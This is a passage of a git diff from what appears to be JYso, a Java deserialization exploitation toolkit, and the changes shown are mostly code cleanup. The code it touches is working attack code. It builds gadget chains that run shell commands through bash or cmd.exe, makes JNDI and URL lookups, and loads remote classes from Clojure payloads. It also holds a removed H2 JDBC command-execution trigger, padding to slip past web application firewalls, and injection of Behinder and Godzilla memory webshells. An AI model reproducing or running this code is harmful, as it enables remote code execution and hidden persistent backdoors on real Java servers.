InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(Integer.valueOf(1))}; + transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)}; } else if (command.startsWith("PB-lin")) { - transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; } else if (command.startsWith("PB-win")) { - transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; } else if (command.startsWith("SE-")) { - transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("[-]")[1]) + "');"})}; + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})}; } else if (command.startsWith("DL-")) { - transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("[-]")[1]}}), new ConstantTransformer(1)}; + transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)}; } else if (command.startsWith("HL-")) { - transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("[-]")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; + transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; } else if (command.startsWith("BC-")) { command = command.substring(3); String bcelBytes; @@ -55,7 +55,7 @@ public class TransformerUtil { transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; } else if (command.startsWith("JD-")) { - transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("[-]")[1]}), new ConstantTransformer(1)}; + transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)}; } else if (command.startsWith("EX-") || command.startsWith("LF-")) { CtClass ctClass = generateClass(command); @@ -68,7 +68,7 @@ public class TransformerUtil { transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})}; } } else { - transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, (Object[]) execArgs), new ConstantTransformer(Integer.valueOf(1))}; + transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; } return transformers; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java index 8750c49..13c2580 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java @@ -9,7 +9,7 @@ public class ClojureUtil { public static String makeClojurePayload(String command) { if (command.startsWith("TS-")) - return String.format("(java.lang.Thread/sleep " + (Integer.parseInt(command.split("[-]")[1]) * 1000) + ")", new Object[0]); + return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")"; if (command.startsWith("RC-")) { String[] strings = Utils.handlerCommand(command); return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)"; @@ -19,7 +19,7 @@ public class ClojureUtil { return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)"; } String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\""); - return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", new Object[]{cmd}); + return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java index e95952a..7987f01 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java @@ -10,7 +10,7 @@ import java.util.concurrent.ThreadLocalRandom; * 来自 c0ny1 *

* Java反序列化数据绕WAF之加大量脏数据 - * 链接:https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/ + * 链接:... */ public class DirtyDataWrapper { @@ -54,42 +54,42 @@ public class DirtyDataWrapper { int type = ThreadLocalRandom.current().nextInt(5); switch (type) { case 0: - List arrayList = new ArrayList(); + List arrayList = new ArrayList<>(); arrayList.add(dirtyData); arrayList.add(gadget); wrapper = arrayList; break; case 1: - List linkedList = new LinkedList(); + List linkedList = new LinkedList<>(); linkedList.add(dirtyData); linkedList.add(gadget); wrapper = linkedList; break; case 2: - HashMap map = new HashMap(); + HashMap map = new HashMap<>(); map.put(randStr1, dirtyData); map.put(randStr2, gadget); wrapper = map; break; case 3: - LinkedHashMap linkedHashMap = new LinkedHashMap(); + LinkedHashMap linkedHashMap = new LinkedHashMap<>(); linkedHashMap.put(randStr1, dirtyData); linkedHashMap.put(randStr2, gadget); wrapper = linkedHashMap; break; - default: case 4: - TreeMap treeMap = new TreeMap(); + TreeMap treeMap = new TreeMap<>(); treeMap.put(randStr1, dirtyData); treeMap.put(randStr2, gadget); wrapper = treeMap; break; + default: } break; // type 为 2 时,使用循环嵌套 LinkedList 来封装 object // by Y4tacker case 2: - List linkedList = new LinkedList(); + List linkedList = new LinkedList<>(); for (int i = 0; i < dirtyDataSize; i++) { linkedList.add(Utils.makeClass("A" + System.nanoTime())); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java index 31bd116..8ccfa29 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java @@ -1,18 +1,12 @@ package com.qi4l.JYso.gadgets.utils.handle; -import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.InjShell; import javassist.CtClass; import javassist.CtField; public class ClassFieldHandler { public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { - ctClass.defrost(); - try { - CtField field = ctClass.getDeclaredField(fieldName); - ctClass.removeField(field); - } catch (javassist.NotFoundException ignored) { - } - ctClass.addField(CtField.make(fieldCode, ctClass)); + InjShell.insertField(ctClass, fieldName, fieldCode); } @@ -23,16 +17,7 @@ public class ClassFieldHandler { * @return 替换后的 String */ public static String converString(String target) { - if (Config.IS_OBSCURE) { - StringBuilder result = new StringBuilder("new String(new byte[]{"); - byte[] bytes = target.getBytes(); - for (int i = 0; i < bytes.length; i++) { - result.append(bytes[i]).append(","); - } - return result.substring(0, result.length() - 1) + "})"; - } - - return "\"" + target + "\""; + return InjShell.converString(target); } /** diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java index ea3602f..e56e3a7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java @@ -25,9 +25,6 @@ public class ClassMethodHandler { * @throws Exception 抛出异常 */ public static void insertMethod(CtClass ctClass, String method, String payload) throws Exception { - //System.out.println(ctClass); - //System.out.println(method); - //System.out.println(payload); CtMethod cm = ctClass.getDeclaredMethod(method); cm.insertBefore(payload); } @@ -125,7 +122,7 @@ public class ClassMethodHandler { insertGetUnsafe(ctClass); } - String shell = ""; + String shell; if (isTomcat) { insertTomcatNoLog(ctClass); shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT; @@ -278,7 +275,7 @@ public class ClassMethodHandler { * @throws Exception 抛出异常 */ public static String getMethodName(CtClass ctClass) throws Exception { - List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); String name = ctClass.getName(); String method = ""; classes.add(ctClass.getSuperclass()); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java index 2d998af..5e0ff4c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java @@ -56,7 +56,7 @@ public class ClassNameHandler { } public static Set getClassSet(String packageName) { - Set classSet = new HashSet(); + Set classSet = new HashSet<>(); try { Enumeration urls = loader.getResources(packageName.replace(".", "/")); while (urls.hasMoreElements()) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java index 121440d..d8f7bf3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java @@ -9,7 +9,8 @@ import javassist.CtClass; import javassist.bytecode.*; import org.apache.commons.codec.binary.Base64; -import java.io.FileInputStream; +import java.nio.file.Files; +import java.nio.file.Paths; import java.util.List; public class GlassHandler { @@ -29,15 +30,15 @@ public class GlassHandler { // 内存马类型 String shellType = ""; - String memShellName = ""; - Class memShellClazz = null; + String memShellName; + Class memShellClazz; // 如果命令以 MS 开头,则代表是注入内存马 if (target.startsWith("MS-")) { target = target.substring(3); if (target.contains("-")) { - String[] commands = target.split("[-]"); + String[] commands = target.split("-"); memShellName = commands[0]; shellType = target.substring(target.indexOf("-") + 1); } else { @@ -47,7 +48,7 @@ public class GlassHandler { } else if (target.startsWith("Agent")) { // 如果以 Agent 开头,则使用 AgentNoFile 动态进行 JavaAgent 注入 // EX-Agent-Lin/Win-Servlet-bx - String[] commands = target.split("[-]"); + String[] commands = target.split("-"); return generateAgentClass(commands[1], commands[2], commands.length > 3 ? commands[3] : ""); } else { // 否则是回显类,或者其他功能 @@ -67,8 +68,8 @@ public class GlassHandler { // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 if (target.startsWith("LF-")) { target = target.substring(3); - String filePath = target.contains("-") ? target.split("[-]")[0] : target; - CtClass ctClass = Config.POOL.makeClass(new FileInputStream(filePath)); + String filePath = target.contains("-") ? target.split("-")[0] : target; + CtClass ctClass = Config.POOL.makeClass(Files.newInputStream(Paths.get(filePath))); ctClass.setName(newClassName); // 对本地加载的类进行缩短操作 @@ -81,10 +82,10 @@ public class GlassHandler { return null; } - public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { + public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { - CtClass ctClass = null; - byte[] byteCodes = null; + CtClass ctClass; + byte[] byteCodes; String exClassName = clazz.getName(); ctClass = Config.POOL.get(exClassName); @@ -186,7 +187,7 @@ public class GlassHandler { public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception { CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier")); - String shell = ""; + String shell; // 插入 Hook 点 if (hookType.equals("Servlet")) { @@ -197,19 +198,24 @@ public class GlassHandler { } // 如果是冰蝎逻辑 - if (args.equals("bx")) { - shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT); - shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD); - } else if (args.equals("gz")) { - shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT); - shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY); - } else if (args.equals("gzraw")) { - shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT); - shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY); - } else { - // 默认 cmd 逻辑 - shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT); - shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING); + switch (args) { + case "bx": + shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD); + break; + case "gz": + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY); + break; + case "gzraw": + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY); + break; + default: + // 默认 cmd 逻辑 + shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING); + break; } // 替换密码,添加 Shell Code ClassFieldHandler.insertField(classModifier, "HOOK_METHOD_CODE", "public static String HOOK_METHOD_CODE = \"" + Utils.base64Encode(shell.getBytes()) + "\";"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java deleted file mode 100644 index 300fd8f..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.qi4l.JYso.gadgets.utils.jdbc; - -import javax.naming.Reference; -import javax.naming.StringRefAddr; - -public class jdbcutils { - public static Reference dbcpByFactory(String factory, String cmd) { - Reference ref = new Reference("javax.sql.DataSource", factory, null); - String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - "java.lang.Runtime.getRuntime().exec('" + cmd + " ')\n" + - "$$\n"; - ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); - ref.add(new StringRefAddr("url", JDBC_URL)); - ref.add(new StringRefAddr("username", "root")); - ref.add(new StringRefAddr("password", "password")); - ref.add(new StringRefAddr("initialSize", "1")); - return ref; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index 5e65b0b..9be1aab 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -1,5 +1,7 @@ package com.qi4l.JYso.gadgets.utils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import sun.misc.Unsafe; import java.lang.reflect.Field; @@ -7,7 +9,9 @@ import java.lang.reflect.Method; import java.util.ArrayList; public class jdk17Bypass { - private static Method getMethod(Class clazz, String methodName, Class[] params) { + private static final Logger log = LoggerFactory.getLogger(jdk17Bypass.class); + + private static Method getMethod(Class clazz, String methodName, Class[] params) { Method method = null; while (clazz != null) { try { @@ -21,7 +25,7 @@ public class jdk17Bypass { } private static Unsafe getUnsafe() { - Unsafe unsafe = null; + Unsafe unsafe; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); @@ -32,36 +36,35 @@ public class jdk17Bypass { return unsafe; } - public static void patchModule(Class clazz, Class goalclass) { + public static void patchModule(Class clazz, Class goalclass) { try { - Class UnsafeClass = Class.forName("sun.misc.Unsafe"); + Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); - Class currentClass = clazz; long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); - unsafe.getAndSetObject(currentClass, addr, ObjectModule); - } catch (Exception e) { + unsafe.getAndSetObject(clazz, addr, ObjectModule); + } catch (Exception ignored) { } } - public void bypassModule(ArrayList classes) { + public void bypassModule(ArrayList> classes) { try { Unsafe unsafe = getUnsafe(); - Class currentClass = this.getClass(); + Class currentClass = this.getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); if (getModuleMethod != null) { - for (Class aClass : classes) { - Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); + for (Class aClass : classes) { + Object targetModule = getModuleMethod.invoke(aClass); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); } } - } catch (Exception e) { + } catch (Exception ignored) { } } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java index d6f93c0..6dab673 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java @@ -1,25 +1,29 @@ package com.qi4l.JYso.gadgets.utils.jre; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class HandleContainer { + private static final Logger log = LoggerFactory.getLogger(HandleContainer.class); private static Method lookup; private static Method assign; static { try { Class cls = Class.forName("java.io.ObjectOutputStream$HandleTable"); - assign = cls.getDeclaredMethod("assign", new Class[]{Object.class}); + assign = cls.getDeclaredMethod("assign", Object.class); assign.setAccessible(true); - lookup = cls.getDeclaredMethod("lookup", new Class[]{Object.class}); + lookup = cls.getDeclaredMethod("lookup", Object.class); lookup.setAccessible(true); } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } } - private Object handle; + private final Object handle; public HandleContainer(Object handle) { this.handle = handle; @@ -27,11 +31,9 @@ public class HandleContainer { public int getHandle(Object obj) { try { - return ((Integer) lookup.invoke(this.handle, new Object[]{obj})).intValue(); - } catch (IllegalAccessException e) { - e.printStackTrace(); - } catch (InvocationTargetException e) { - e.printStackTrace(); + return (Integer) lookup.invoke(this.handle, new Object[]{obj}); + } catch (IllegalAccessException | InvocationTargetException e) { + log.error("e: ", e); } return -1; } @@ -39,11 +41,9 @@ public class HandleContainer { public void putHandle(Object obj) { if (getHandle(obj) == -1) try { - assign.invoke(this.handle, new Object[]{obj}); - } catch (IllegalAccessException e) { - e.printStackTrace(); - } catch (InvocationTargetException e) { - e.printStackTrace(); + assign.invoke(this.handle, obj); + } catch (IllegalAccessException | InvocationTargetException e) { + log.error("e: ", e); } } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java index 39af658..af0aafc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java @@ -2,15 +2,19 @@ package com.qi4l.JYso.gadgets.utils.jre; import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Modifier; +import java.nio.file.Files; import java.util.ArrayList; import java.util.List; public class Serialization { - private List objects = new ArrayList(); + private static final Logger log = LoggerFactory.getLogger(Serialization.class); + private final List objects = new ArrayList<>(); private Object handle; @@ -23,12 +27,12 @@ public class Serialization { f.setAccessible(true); this.handle = f.get(output); } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } } - private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { - Field f = obj.getClass().getDeclaredField(fieldName); + private static void setFieldValue(Object obj, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField("handles"); f.setAccessible(true); if (Modifier.isFinal(f.getModifiers())) { Field modifiersField = Field.class.getDeclaredField("modifiers"); @@ -56,11 +60,11 @@ public class Serialization { } public void write(File path) throws Exception { - write(new FileOutputStream(path)); + write(Files.newOutputStream(path.toPath())); } public void write(OutputStream o) throws Exception { - if (this.objects.size() == 0) + if (this.objects.isEmpty()) throw new Exception("no objects in serialization"); DataOutputStream out = new DataOutputStream(o); out.writeShort(-21267); @@ -96,19 +100,19 @@ public class Serialization { } writeBlockData(out, handles); if (obj instanceof Byte) { - out.writeByte(((Byte) obj).byteValue()); + out.writeByte((Byte) obj); } else if (obj instanceof Short) { - out.writeShort(((Short) obj).shortValue()); + out.writeShort((Short) obj); } else if (obj instanceof Integer) { - out.writeInt(((Integer) obj).intValue()); + out.writeInt((Integer) obj); } else if (obj instanceof Long) { - out.writeLong(((Long) obj).longValue()); + out.writeLong((Long) obj); } else if (obj instanceof Float) { - out.writeFloat(((Float) obj).floatValue()); + out.writeFloat((Float) obj); } else if (obj instanceof Double) { - out.writeDouble(((Double) obj).doubleValue()); + out.writeDouble((Double) obj); } else if (obj instanceof Character) { - out.writeChar(((Character) obj).charValue()); + out.writeChar((Character) obj); } else if (obj instanceof String || obj instanceof TCString) { TCString s = (obj instanceof TCString) ? (TCString) obj : TCString.getInstance(obj.toString()); s.write(out, handles); @@ -125,15 +129,15 @@ public class Serialization { private ObjectOutputStream getPatchedOutputStream(ByteArrayOutputStream out) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(out); - setFieldValue(oos, "handles", this.handle); + setFieldValue(oos, this.handle); return oos; } - private class Data { + private static class Data { - private boolean block; + private final boolean block; - private Object data; + private final Object data; public Data(boolean block, Object data) { this.block = block; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java index 149cf91..77a9e8f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java @@ -4,31 +4,31 @@ import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; public class TCBlockData implements SerializedElement { - private ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); + private final ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); - private DataOutputStream out = new DataOutputStream(this.byteOut); + private final DataOutputStream out = new DataOutputStream(this.byteOut); public void append(Object data) throws Exception { if (data instanceof Integer) { - this.out.writeInt(((Integer) data).intValue()); + this.out.writeInt((Integer) data); } else if (data instanceof Short) { - this.out.writeShort(((Short) data).shortValue()); + this.out.writeShort((Short) data); } else if (data instanceof Long) { - this.out.writeLong(((Long) data).longValue()); + this.out.writeLong((Long) data); } else if (data instanceof Byte) { - this.out.writeByte(((Byte) data).byteValue()); + this.out.writeByte((Byte) data); } else if (data instanceof Character) { - this.out.writeChar(((Character) data).charValue()); + this.out.writeChar((Character) data); } else if (data instanceof char[]) { this.out.writeChars(new String((char[]) data)); } else if (data instanceof String) { this.out.writeUTF((String) data); } else if (data instanceof Float) { - this.out.writeFloat(((Float) data).floatValue()); + this.out.writeFloat((Float) data); } else if (data instanceof Double) { - this.out.writeDouble(((Double) data).doubleValue()); + this.out.writeDouble((Double) data); } else if (data instanceof Boolean) { - this.out.writeBoolean(((Boolean) data).booleanValue()); + this.out.writeBoolean((Boolean) data); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java index 3f0f024..d906fdf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java @@ -1,7 +1,6 @@ package com.qi4l.JYso.gadgets.utils.jre; import java.io.DataOutputStream; -import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.ArrayList; import java.util.HashMap; @@ -15,7 +14,7 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement private byte classDescFlags; - private List fields = new ArrayList(); + private final List fields = new ArrayList<>(); protected TCClassDesc() { } @@ -24,10 +23,6 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement this(className, -1L, (byte) 0); } - public TCClassDesc(String className, long serialVersionUID) throws Exception { - this(className, serialVersionUID, (byte) 0); - } - public TCClassDesc(String className, byte classDescFlags) throws Exception { this(className, -1L, classDescFlags); } @@ -45,10 +40,8 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement private long 